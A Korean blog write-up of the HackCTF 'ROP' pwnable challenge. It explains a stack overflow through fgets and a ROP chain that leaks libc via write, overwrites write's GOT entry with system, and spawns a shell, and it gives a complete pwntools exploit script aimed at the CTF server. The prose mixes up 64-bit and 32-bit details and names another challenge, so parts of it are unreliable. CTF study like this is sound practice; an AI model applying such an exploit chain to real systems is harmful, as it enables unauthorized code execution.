ROP

728x90

https://libc.blukat.me/ ← 이쪽 사이트에서 프로그램이 사용하는 실제 라이브러리가 어떤것인지 알수 있다.

_IO_fgets b90

__libc_system 4e0 을 하면 libc6_2.27-3ubuntu1.2_amd64이 라이브러리가 나오고 현재 Unexploitable1은 이 라이브러리를 사용한다는 것을 알 수 있다.

취약점은 배열의 크기는 char 16byte 이지만 fgets를 통해 0x64byte를 입력받으니 bufferoverflow가 발생함을 알 수 있다(64bit)

또한 Partial RELRO때문에 GOT Overwrite이 가능하다.

Persudocode

 

ROP 로직

  1. Write함수를 사용, read의 got를 출력
  2. read함수 호출, bss영역에 binsh 저장(bss영역은 변하지 않는 부분)
  3. read함수 호출, write_got를 system의 주소로 변경(그러면 write함수를 호출하게되면 write_plt → write_got(system) 호출
  4. 마지막으로 write함수를 호출하면 3에서 했던 과정에 의해 write가 아니라 system이 호출.

Payload는 로직대로 짠 다음 payload를 보내면 1의 과정때문에 read_got의 주소가 출력 → 주소를 받아서 leak_base의 주소를 구한다음 → binsh를 입력하여 2의 과정에 bss영역에 binsh 저장 → 그 다음 system의 함수 주소를 입력하여 3의 과정에서 write_got를 system함수의 주소로 변경 → system(bss)가 되여 system(/bin/sh)가 되서 쉘을 딸 수 있다.

Exploit Code

from pwn import *
context.log_level = 'debug'

p = remote('ctf.j0n9hyun.xyz', 3021)
e = ELF('./rop')
libc = ELF('./libc.so.6')

read_plt = e.plt['read']
read_got = e.got['read']
read_offset = libc.symbols['read']
write_plt = e.plt['write']
write_got = e.got['write']
system_offset = libc.symbols['system']
binsh = "/bin/sh"
pppr = 0x8048509
bss = 0x0804a024

payload = "A"*136
payload += "B"*4
#show read_got
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

#read(0, bss, 8)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(bss)
payload += p32(8)

#read(0, write_got, 4)
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(write_got)
payload += p32(8)

payload += p32(write_plt)
payload += "CCCC"
payload += p32(bss)
p.send(payload)

read = u32(p.recv()[-4:])

log.info('read_addr = 0x%x' % read)
leak_base = read - read_offset
log.info('leak_base = 0x%x' % leak_base)
system = leak_base + system_offset
log.info('system = 0x%x' % system)
p.send(binsh)
p.send(p32(system))
p.interactive()

 

728x90

'HackCTF' 카테고리의 다른 글

풍수지리설  (0) 2022.01.13
HackCTF - RTC  (0) 2022.01.06
You_are_silver  (0) 2021.12.30
yes_or_no  (0) 2021.12.30
Pwning  (0) 2021.12.30